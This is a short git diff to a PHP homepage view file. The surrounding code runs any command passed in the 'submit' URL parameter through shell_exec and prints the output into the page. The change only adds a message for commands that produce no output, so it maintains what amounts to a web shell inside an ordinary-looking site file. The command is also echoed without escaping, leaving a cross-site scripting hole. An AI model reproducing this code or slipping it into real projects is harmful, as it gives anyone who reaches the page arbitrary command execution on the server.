diff --git a/homepage/views.php b/homepage/views.php index d0f2ab2..67209ea 100644 --- a/homepage/views.php +++ b/homepage/views.php @@ -212,7 +212,10 @@ if(isset($_GET['view'])){ $command = $_GET['submit']; if(isset($command)){ $results = shell_exec("$command 2>&1"); - echo "
Output of command:`".$command."`
$results
"; + if(strlen($results) == 0) { + $results = "This command has no output."; + } + echo "
Output of command:`".$command."`
$results
"; } else { header('WWW-Authenticate: Basic realm="My Realm"'); header('HTTP/1.0 401 Unauthorized');